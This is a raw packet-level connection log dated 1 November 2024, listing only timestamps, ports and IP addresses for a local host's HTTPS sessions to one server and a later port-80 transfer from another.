Nov 1, 2024 00:38:04.763778925 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763809919 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763820887 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.763828993 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.763864040 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.764249086 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.807988882 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.807997942 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.854837894 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.880435944 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.880517960 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.880578995 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.880589008 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.880908012 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.880971909 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.880976915 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.881027937 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.881133080 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.881149054 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.881162882 CET	49710	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.881170034 CET	443	49710	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.986198902 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.986252069 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:04.986329079 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.987288952 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:04.987306118 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:05.596688032 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:05.596751928 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:05.598579884 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:05.598592997 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:05.598794937 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:05.600474119 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:05.600944042 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:05.600976944 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:06.364130974 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:06.364193916 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:06.364317894 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:06.364511013 CET	49712	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:06.364536047 CET	443	49712	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:06.709152937 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:06.709184885 CET	443	49713	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:06.709292889 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:06.709583044 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:06.709598064 CET	443	49713	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:07.328845978 CET	443	49713	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:07.328958988 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:07.336735964 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:07.336759090 CET	443	49713	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:07.336961031 CET	443	49713	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:07.338691950 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:07.338882923 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:07.338911057 CET	443	49713	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:07.338988066 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:07.338994980 CET	443	49713	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:08.137111902 CET	443	49713	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:08.137358904 CET	49713	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:08.389971018 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:08.390006065 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:08.390084028 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:08.390386105 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:08.390394926 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:09.008054972 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:09.008164883 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:09.009449005 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:09.009459972 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:09.009659052 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:09.010934114 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:09.011056900 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:09.011089087 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:09.011147022 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:09.011153936 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:09.699912071 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:09.699997902 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:09.700048923 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:09.700170040 CET	49714	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:09.700190067 CET	443	49714	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:10.027525902 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:10.027566910 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:10.027647972 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:10.027935028 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:10.027950048 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:10.641062975 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:10.641175032 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:10.642741919 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:10.642748117 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:10.643402100 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:10.644654036 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:10.644737005 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:10.644741058 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:11.107115984 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:11.107211113 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:11.107280970 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:11.107409000 CET	49715	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:11.107424021 CET	443	49715	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:11.629976034 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:11.630028963 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:11.630132914 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:11.630517006 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:11.630531073 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.241879940 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.241977930 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.243246078 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.243256092 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.243489027 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.244775057 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.245481968 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.245522976 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.245625019 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.245656967 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.245790005 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.245827913 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.245961905 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.245990992 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.246140957 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.246161938 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.246315956 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.246347904 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.246361017 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.246488094 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.246521950 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.260215998 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.260395050 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.260416985 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.260442019 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.260457039 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.260457993 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.260464907 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.260478020 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:12.260562897 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.260606050 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.260624886 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:12.265151978 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.223644018 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.223725080 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.223790884 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.225213051 CET	49717	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.225222111 CET	443	49717	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.238792896 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.238851070 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.238919973 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.239506006 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.239523888 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.849982023 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.850042105 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.851299047 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.851310015 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.851537943 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:14.852840900 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.852875948 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:14.852910995 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:15.177829027 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:15.177906990 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:15.177978039 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:15.178169966 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:15.178189039 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:15.178212881 CET	49729	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:15.178217888 CET	443	49729	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:15.179590940 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:15.190067053 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:15.190140009 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:15.190258026 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:15.198673010 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106179953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106195927 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106261015 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.106374025 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106384039 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106396914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106430054 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.106456995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106468916 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106498003 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.106513023 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106524944 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106534958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.106553078 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.106565952 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.112922907 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.112938881 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.112986088 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.113008976 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.113365889 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.113413095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.261456013 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.261472940 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.261486053 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.261517048 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.261714935 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.261729956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.261739969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.261759043 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.261781931 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.262278080 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.262290955 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.262304068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.262315989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.262331963 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.262345076 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.263149977 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.270253897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.270268917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.270277977 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.270302057 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.270342112 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.380604982 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.380620956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.380695105 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.380711079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.380723000 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.380733013 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.380886078 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.381270885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.381304026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.381315947 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.381328106 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.381326914 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.381357908 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.382025957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.382067919 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.382083893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.389415026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.389473915 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.389487982 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.389549017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.389566898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.389589071 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.418184042 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.418231964 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.418271065 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.464255095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.499744892 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.499787092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.499840021 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.500346899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.500360012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.500370979 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.500405073 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.500426054 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.500472069 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.500823021 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.508606911 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.508656979 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.508675098 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.508761883 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.508802891 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.508807898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.508821964 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.508857012 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.508903980 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.557971954 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773085117 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773099899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773210049 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773219109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773231030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773247957 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773473978 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773484945 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773495913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773515940 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773526907 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773533106 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773538113 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773546934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773560047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773566008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773575068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773581028 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773591042 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773600101 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773610115 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773619890 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773627043 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773641109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773643970 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773643970 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773658991 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773675919 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773690939 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773696899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773708105 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773708105 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773742914 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773758888 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773768902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773788929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.773798943 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.773811102 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.774348021 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.774367094 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.774379015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.774389982 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.774401903 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.774425983 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.780580044 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.780606031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.780626059 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.780642033 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.780648947 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.780690908 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.780972004 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.781023979 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.781059980 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.781105995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.781127930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.781167030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.809817076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.809829950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.809891939 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.824585915 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.824598074 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.824642897 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.857610941 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.857631922 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.857642889 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.857678890 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.857722044 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.857733011 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.857744932 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.857764006 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.857779026 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.866055012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866067886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866079092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866091013 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866106033 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.866111040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866149902 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.866214037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866255999 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.866285086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866297007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866307974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.866333008 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.906270027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.906320095 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.906359911 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.945396900 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.945429087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.945436001 CET	80	49735	185.215.113.16	192.168.2.6
